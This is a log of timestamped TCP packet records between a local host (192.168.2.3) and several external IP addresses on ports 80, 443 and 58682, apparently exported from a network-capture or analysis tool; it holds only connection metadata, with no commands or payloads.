Oct 29, 2021 14:11:05.487137079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487142086 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487174034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487180948 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487210989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487250090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487287998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487298012 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487327099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487365961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487404108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487412930 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487426043 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487440109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487478018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487514019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487524986 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487552881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487560034 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487592936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487627983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487664938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487673044 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487703085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.487708092 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.487739086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.490436077 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.554711103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.554768085 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.554806948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.554843903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.554881096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.554918051 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.554920912 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.554946899 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.554958105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.554996014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555033922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555071115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555090904 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555110931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555125952 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555151939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555191040 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555222988 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555229902 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555254936 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555265903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555305004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555316925 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555344105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555354118 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555381060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555419922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555457115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555496931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555515051 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555524111 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555536032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555572033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555608988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555643082 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555646896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555651903 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555695057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555748940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555808067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555814981 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555851936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555855036 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.555891991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555928946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555965900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.555972099 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556005001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556010962 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556041002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556080103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556118965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556123972 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556157112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556163073 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556195974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556232929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556271076 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556279898 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556308985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556314945 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556355953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556407928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556453943 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556468010 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556510925 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556512117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556550980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556586981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556624889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556629896 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556662083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556668043 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556698084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556735992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556772947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556778908 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556812048 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556816101 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556871891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556916952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556952953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.556960106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.556991100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557003021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557040930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557102919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557149887 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557163000 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557204962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557207108 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557241917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557281017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557316065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557323933 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557353973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557358980 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557391882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557427883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557466030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557472944 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557503939 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557509899 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557543039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557580948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557615995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557626009 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557653904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557658911 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557708979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557765961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557811022 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557823896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557866096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557867050 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.557903051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557941914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557977915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.557984114 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.558027029 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.592160940 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.625199080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625319958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625363111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625401020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625438929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625478983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625480890 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.625514984 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.625519991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625560045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625581026 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.625601053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625613928 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.625638008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625675917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625715017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625727892 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.625751019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625765085 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.625788927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625824928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625863075 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625870943 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.625902891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625921011 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.625941038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.625978947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626019001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626033068 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626055956 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626068115 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626095057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626136065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626173973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626183033 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626214981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626226902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626251936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626290083 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626327991 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626336098 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626365900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626378059 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626420975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626458883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626496077 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626509905 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626535892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626545906 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626575947 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626615047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626655102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626668930 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626696110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626703024 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626734972 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626774073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626811981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626827955 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626852036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626861095 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.626889944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626928091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626967907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.626976967 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.627007008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627016068 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.627047062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627085924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627115011 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.627125025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627165079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627203941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627218008 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.627243996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627254009 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.627284050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627321959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627361059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627374887 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.627401114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627409935 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.627438068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627469063 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:05.627599001 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:05.632472992 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:07.857876062 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:07.857964039 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:07.940483093 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:07.940526962 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.011997938 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:08.061676979 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.067513943 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:08.067549944 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:08.067589045 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:08.067698956 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:08.139588118 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:08.143507957 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.256124973 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.256195068 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.338777065 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.338819027 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468041897 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468100071 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468141079 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468182087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468220949 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468245983 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.468260050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468286037 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.468290091 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468307018 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.468388081 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468425035 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.468440056 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.528450966 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.528630018 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.550992966 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551054001 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551091909 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551131964 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551171064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551182032 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.551209927 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551218033 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.551249981 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551251888 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.551290035 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551328897 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551347017 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.551373959 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551412106 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551426888 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:08.551449060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:08.551491976 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:09.022114992 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.072758913 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:09.075191021 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.123898029 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:09.205862999 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.254640102 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:09.257612944 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.306982040 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:09.308686018 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.357494116 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:09.359642982 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.408477068 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:09.452439070 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.556385040 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.557677984 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.569438934 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.569499016 CEST	443	50104	77.123.139.190	192.168.2.3
Oct 29, 2021 14:11:09.569595098 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.571399927 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.571432114 CEST	443	50104	77.123.139.190	192.168.2.3
Oct 29, 2021 14:11:09.624701023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.630148888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.641894102 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.642214060 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.701275110 CEST	443	50104	77.123.139.190	192.168.2.3
Oct 29, 2021 14:11:09.701383114 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.709841013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.717854977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.717892885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.717926025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.717957973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.717977047 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.717984915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.718012094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.718030930 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.718048096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.718071938 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.718085051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.718115091 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.718133926 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.718139887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.719404936 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.776252031 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.776281118 CEST	443	50104	77.123.139.190	192.168.2.3
Oct 29, 2021 14:11:09.777142048 CEST	443	50104	77.123.139.190	192.168.2.3
Oct 29, 2021 14:11:09.777229071 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.778245926 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.786241055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.786312103 CEST	80	50094	193.56.146.214	192.168.2.3
